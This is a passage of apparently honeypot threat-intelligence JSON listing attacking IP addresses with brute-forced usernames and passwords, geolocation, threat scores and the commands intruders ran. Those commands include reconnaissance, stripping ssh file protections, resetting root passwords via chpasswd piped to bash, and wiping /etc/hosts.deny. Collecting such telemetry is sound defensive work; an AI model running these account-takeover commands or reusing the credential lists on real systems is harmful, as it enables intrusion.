        "echo \"xwiki\\n2A6T1X1PDo4K\\n2A6T1X1PDo4K\\n\"|passwd",
        "echo -e \"12345678\\nFBs8W8PoixuD\\nFBs8W8PoixuD\"|passwd|bash",
        "echo -e \"123456\\nmYZ16a75YtTm\\nmYZ16a75YtTm\"|passwd|bash",
        "echo -e \"12345\\n7jNkE7ft0JP9\\n7jNkE7ft0JP9\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Blumenau",
      "asn": 28343,
      "as_org": "UNIFIQUE TELECOMUNICACOES SA",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 800,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T00:17:21.905000+00:00",
        "last_seen_30d": "2026-03-16T07:39:08.336000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 697,
        "Suricata": 103
      }
    },
    "171.244.37.96": {
      "attack_count": 636,
      "first_seen": "2026-03-09T21:24:38.455Z",
      "last_seen": "2026-03-29T03:14:14.969Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "dev1",
        "devman",
        "lyh",
        "test_user",
        "lorenzo",
        "public",
        "rstudio",
        "user2",
        "webapp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "!@#ASD123",
        "123",
        "12345",
        "202512",
        "2468@Network!#%&",
        "Ab123456.",
        "Gg112233",
        "Killer123",
        "Market123",
        "Microsoft123",
        "Mx123456",
        "Passwort1!",
        "QWERqwer123",
        "Tu123456",
        "WS@yckj2025",
        "Wachtwoord_123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nczv5Ptd3ikZc\\nczv5Ptd3ikZc\\n\"|passwd",
        "echo \"12345678\\nv4I1Tnp3gZgu\\nv4I1Tnp3gZgu\\n\"|passwd",
        "echo \"123456\\nSIxs3lzSjX6X\\nSIxs3lzSjX6X\\n\"|passwd",
        "echo \"dev1123\\ncl185SMZLThB\\ncl185SMZLThB\\n\"|passwd",
        "echo \"lyhpass\\n0rF48RvFF8bD\\n0rF48RvFF8bD\\n\"|passwd",
        "echo \"root:K3SOmEnDkk8H\"|chpasswd|bash",
        "echo \"root:f5hUoRsxW3up\"|chpasswd|bash",
        "echo -e \"12345678\\nczv5Ptd3ikZc\\nczv5Ptd3ikZc\"|passwd|bash",
        "echo -e \"12345678\\nv4I1Tnp3gZgu\\nv4I1Tnp3gZgu\"|passwd|bash",
        "echo -e \"123456\\nSIxs3lzSjX6X\\nSIxs3lzSjX6X\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 54.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.7,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 741,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T21:24:38.455000+00:00",
        "last_seen_30d": "2026-03-29T03:15:24.318000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 636,
        "Suricata": 105
      }
    },
    "207.180.229.239": {
      "attack_count": 626,
      "first_seen": "2026-03-03T09:41:18.932Z",
      "last_seen": "2026-03-23T21:56:07.571Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "gns3",
        "melo",
        "newuser",
        "allen",
        "almacen",
        "andy",
        "comunicacao",
        "customer",
        "deamon",
        "edward",
        "kobo",
        "mailcow",
        "myuser",
        "nima",
        "nodejs",
        "online",
        "onlyoffice",
        "paolo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "1234",
        "123456",
        "password",
        "123",
        "12345",
        "123456a@",
        "1234qwerty",
        "1234rfv",
        "1qaz$RFV",
        "1qaz@WSX",
        "@qwer2025",
        "@qwer2026",
        "Bingo@1993",
        "Customer123!",
        "Edward123!",
        "Mailcow123",
        "Nima123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nD5cOtAebAnzE\\nD5cOtAebAnzE\\n\"|passwd",
        "echo \"melo1234\\nMj62xmhQYGl2\\nMj62xmhQYGl2\\n\"|passwd",
        "echo \"newuser\\nxEQIjNnKbZAY\\nxEQIjNnKbZAY\\n\"|passwd",
        "echo \"root:fl1MBPmlB8yx\"|chpasswd|bash",
        "echo \"root:jlLSu1KSy2vI\"|chpasswd|bash",
        "echo \"root:jnp7pAO9YZRT\"|chpasswd|bash",
        "echo -e \"123456\\nD5cOtAebAnzE\\nD5cOtAebAnzE\"|passwd|bash",
        "echo -e \"melo1234\\nMj62xmhQYGl2\\nMj62xmhQYGl2\"|passwd|bash",
        "echo -e \"newuser\\nxEQIjNnKbZAY\\nxEQIjNnKbZAY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 42.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 752,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T09:41:18.932000+00:00",
        "last_seen_30d": "2026-03-23T21:57:14.723000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 626,
        "Suricata": 126
      }
    },
    "103.187.147.165": {
      "attack_count": 518,
      "first_seen": "2026-03-12T07:35:12.064Z",
      "last_seen": "2026-03-15T23:56:05.067Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "lekaren",
        "emo",
        "n8n",
        "online",
        "root",
        "yuhan",
        "admin",
        "ark",
        "hassan",
        "hr",
        "jan",
        "kevin",
        "mc",
        "passbolt",
        "spawner",
        "student2",
        "student5",
        "vpn",
        "xx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "1234",
        "123456Abc",
        "Itsemoemo2025@Washere2025",
        "Spawner123",
        "arkserver",
        "hr123!",
        "kevin1234",
        "lekarenpass",
        "n8n",
        "student2pass",
        "sysadmin",
        "vpnpass",
        "xx123",
        "yuhan1234",
        "yzh123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nX4f5bGOaByp7\\nX4f5bGOaByp7\\n\"|passwd",
        "echo \"123\\n25RTuu8YDZkn\\n25RTuu8YDZkn\\n\"|passwd",
        "echo \"Itsemoemo2025@Washere2025\\nb8qTjQho6oKU\\nb8qTjQho6oKU\\n\"|passwd",
        "echo \"n8n\\nKSSOhh66ZGEB\\nKSSOhh66ZGEB\\n\"|passwd",
        "echo \"root:06g0jO2NI2ov\"|chpasswd|bash",
        "echo \"yuhan1234\\nJ6gyMzFUFWqK\\nJ6gyMzFUFWqK\\n\"|passwd",
        "echo -e \"123456\\nX4f5bGOaByp7\\nX4f5bGOaByp7\"|passwd|bash",
        "echo -e \"123\\n25RTuu8YDZkn\\n25RTuu8YDZkn\"|passwd|bash",
        "echo -e \"Itsemoemo2025@Washere2025\\nb8qTjQho6oKU\\nb8qTjQho6oKU\"|passwd|bash",
        "echo -e \"n8n\\nKSSOhh66ZGEB\\nKSSOhh66ZGEB\"|passwd|bash",
        "echo -e \"yuhan1234\\nJ6gyMzFUFWqK\\nJ6gyMzFUFWqK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 593,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:35:12.064000+00:00",
        "last_seen_30d": "2026-03-15T23:57:13.687000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 518,
        "Suricata": 75
      }
    },
    "113.193.234.210": {
      "attack_count": 498,
      "first_seen": "2026-03-04T14:16:04.938Z",
      "last_seen": "2026-03-24T04:27:37.891Z",
      "sessions": 41,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "silva",
        "tom",
        "xbmc",
        "amp",
        "devuser",
        "dls",
        "external",
        "hyun",
        "james",
        "nico",
        "odoo",
        "readonlyuser",
        "real",
        "test1",
        "user",
        "zxy"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "password",
        "123456Kk",
        "1234ABCD",
        "@1234qwer",
        "Aa@123456..",
        "Admin123!@#",
        "Bingo@1993",
        "QWERasdf",
        "Zxy123!",
        "aa123456789.",
        "admin1",
        "amp",
        "apple123",
        "devuserpass",
        "external",
        "huang520"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"root:P2gNi47gWxex\"|chpasswd|bash",
        "echo \"root:tYWKhNOa6ZUg\"|chpasswd|bash",
        "echo \"silvapass\\nhmkZZzfbnVO5\\nhmkZZzfbnVO5\\n\"|passwd",
        "echo \"tom123!\\n4siW4JiSwBGS\\n4siW4JiSwBGS\\n\"|passwd",
        "echo \"xbmc123!\\nlqhKZs7QncMG\\nlqhKZs7QncMG\\n\"|passwd",
        "echo -e \"silvapass\\nhmkZZzfbnVO5\\nhmkZZzfbnVO5\"|passwd|bash",
        "echo -e \"tom123!\\n4siW4JiSwBGS\\n4siW4JiSwBGS\"|passwd|bash",
        "echo -e \"xbmc123!\\nlqhKZs7QncMG\\nlqhKZs7QncMG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 45528,
      "as_org": "Tikona Infinet Ltd.",
      "threat_score": 43.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.7,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 594,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T14:16:04.938000+00:00",
        "last_seen_30d": "2026-03-24T04:28:41.334000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 498,
        "Suricata": 96
      }
    },
    "116.110.212.198": {
      "attack_count": 487,
      "first_seen": "2026-03-22T03:20:23.548Z",
      "last_seen": "2026-03-22T03:54:02.487Z",
      "sessions": 97,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ftp",
        "test",
        "user",
        "*****",
        "123456",
        "admian",
        "am",
        "anton",
        "ashish",
        "backup",
        "belkinstyle",
        "brenda",
        "carol",
        "cf1c22",
        "cisco",
        "config",
        "dubai",
        "ftpuser"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "12345",
        "admin",
        "1234",
        "12345678",
        "admin123",
        "*****",
        "039715582364317",
        "0987654321",
        "1111",
        "111111",
        "112233",
        "72ca06",
        "91482d",
        "@",
        "OkwKcECs8qJP2Z",
        "abc123",
        "abcd1234",
        "abcdefg"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 692,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T03:20:23.548000+00:00",
        "last_seen_30d": "2026-03-22T03:55:05.452000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 487,
        "Suricata": 205
      }
    },
    "103.31.39.72": {
      "attack_count": 450,
      "first_seen": "2026-03-10T17:35:13.419Z",
      "last_seen": "2026-03-22T22:18:08.824Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "clawd",
        "frank",
        "git",
        "peter",
        "root",
        "sri",
        "arthur",
        "c",
        "data",
        "emo",
        "hduser",
        "icecast",
        "jason",
        "mcuser",
        "nova",
        "radarr",
        "sakura",
        "sameer",
        "test2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "12345",
        "12345678",
        "Arthur123!",
        "Data123!",
        "Hduser123",
        "Root@123",
        "clawd@123",
        "git123",
        "icecast123!",
        "jasonpass",
        "maomao123",
        "nova",
        "sakura1234",
        "sameer1234",
        "test2pass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nXi0pir6h6OaG\\nXi0pir6h6OaG\\n\"|passwd",
        "echo \"123456\\nT8HKaERxx3hW\\nT8HKaERxx3hW\\n\"|passwd",
        "echo \"12345\\nkb5eL6ALFPLE\\nkb5eL6ALFPLE\\n\"|passwd",
        "echo \"clawd@123\\nwzMpNJwrfMJC\\nwzMpNJwrfMJC\\n\"|passwd",
        "echo \"git123\\n8gDXzMpeLTLe\\n8gDXzMpeLTLe\\n\"|passwd",
        "echo -e \"12345678\\nXi0pir6h6OaG\\nXi0pir6h6OaG\"|passwd|bash",
        "echo -e \"123456\\nT8HKaERxx3hW\\nT8HKaERxx3hW\"|passwd|bash",
        "echo -e \"12345\\nkb5eL6ALFPLE\\nkb5eL6ALFPLE\"|passwd|bash",
        "echo -e \"clawd@123\\nwzMpNJwrfMJC\\nwzMpNJwrfMJC\"|passwd|bash",
        "echo -e \"git123\\n8gDXzMpeLTLe\\n8gDXzMpeLTLe\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 524,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T17:35:13.419000+00:00",
        "last_seen_30d": "2026-03-22T22:19:13.269000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 450,
        "Suricata": 74
      }
    },
    "51.222.29.52": {
      "attack_count": 381,
      "first_seen": "2026-03-06T06:52:29.105Z",
      "last_seen": "2026-03-09T14:51:19.618Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ct",
        "root",
        "test123",
        "ubuntu",
        "yasin",
        "dbadmin",
        "dev",
        "dis",
        "elasticsearch",
        "foundry",
        "git",
        "ionadmin",
        "jirka",
        "liang",
        "maks",
        "salman",
        "simeon",
        "sonarqube",
        "support"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "12345",
        "123",
        "@qwer2025",
        "Dev123!",
        "Dis123",
        "Elasticsearch123!",
        "Qaz@1234",
        "Wso2123!",
        "dbadmin123!",
        "foundrypass",
        "jirka123",
        "ubuntu123!",
        "yasin123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nohczRU37hlUf\\nohczRU37hlUf\\n\"|passwd",
        "echo \"12345\\nUrmyyf8SArYr\\nUrmyyf8SArYr\\n\"|passwd",
        "echo \"ubuntu123!\\nmWE2JDICgrFx\\nmWE2JDICgrFx\\n\"|passwd",
        "echo \"yasin123\\ndASa2Ds0tJCw\\ndASa2Ds0tJCw\\n\"|passwd",
        "echo -e \"123456\\nohczRU37hlUf\\nohczRU37hlUf\"|passwd|bash",
        "echo -e \"12345\\nUrmyyf8SArYr\\nUrmyyf8SArYr\"|passwd|bash",
        "echo -e \"ubuntu123!\\nmWE2JDICgrFx\\nmWE2JDICgrFx\"|passwd|bash",
        "echo -e \"yasin123\\ndASa2Ds0tJCw\\ndASa2Ds0tJCw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 447,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T06:52:29.105000+00:00",
        "last_seen_30d": "2026-03-09T14:52:22.086000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 381,
        "Suricata": 66
      }
    },
    "103.82.37.34": {
      "attack_count": 380,
      "first_seen": "2026-03-10T10:02:23.856Z",
      "last_seen": "2026-03-14T21:06:45.577Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ansible",
        "clawd",
        "postgres",
        "abc",
        "afio",
        "b",
        "cliente",
        "dd",
        "dhiraj",
        "games",
        "montor",
        "oliver",
        "rootuser",
        "spam1",
        "stanchion",
        "ubuntu",
        "web4"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "111222333",
        "Admin123.",
        "Admin@2023",
        "B123",
        "Root@123",
        "abc123456",
        "abcpass",
        "afio",
        "dhiraj123",
        "mynoob",
        "oliver",
        "password",
        "rootuser123",
        "shangqi@2026",
        "spam1",
        "stanchion",
        "web4"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nqoYxDheebfyB\\nqoYxDheebfyB\\n\"|passwd",
        "echo \"abc123456\\nVGBTZ4a3syar\\nVGBTZ4a3syar\\n\"|passwd",
        "echo \"password\\nVUS5ZVYNuBI1\\nVUS5ZVYNuBI1\\n\"|passwd",
        "echo \"root:30Ujaq2aI3Js\"|chpasswd|bash",
        "echo -e \"123456\\nqoYxDheebfyB\\nqoYxDheebfyB\"|passwd|bash",
        "echo -e \"abc123456\\nVGBTZ4a3syar\\nVGBTZ4a3syar\"|passwd|bash",
        "echo -e \"password\\nVUS5ZVYNuBI1\\nVUS5ZVYNuBI1\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 149089,
      "as_org": "CLOUDFLY CORPORATION",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 448,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:02:23.856000+00:00",
        "last_seen_30d": "2026-03-14T21:07:48.444000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 380,
        "Suricata": 68
      }
    },
    "130.12.180.174": {
      "attack_count": 322,
      "first_seen": "2026-03-07T07:46:59.712Z",
      "last_seen": "2026-03-31T18:42:11.185Z",
      "sessions": 161,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 62.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.4,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 697,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T07:38:28.620000+00:00",
        "last_seen_30d": "2026-03-31T23:31:31.758000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 375,
        "Cowrie": 322
      }
    },
    "221.163.5.228": {
      "attack_count": 317,
      "first_seen": "2026-03-07T00:17:02.610Z",
      "last_seen": "2026-03-12T18:57:41.402Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "arthur",
        "claude",
        "jon",
        "root",
        "yasin",
        "atlas",
        "docker",
        "ftp_test",
        "hik",
        "maks",
        "mama",
        "mk",
        "mobiquity",
        "pepe",
        "reolink",
        "runner",
        "trading",
        "ubuntu",
        "viewtinet"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "password",
        "12345",
        "123456",
        "@qwer2026",
        "Ftp_test123",
        "Hik@2022",
        "Password",
        "Vncuser123!",
        "atlas123",
        "docker1234",
        "jon1234",
        "maks123!",
        "mama123!",
        "pass123",
        "pepe123",
        "qwerty",
        "runner1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
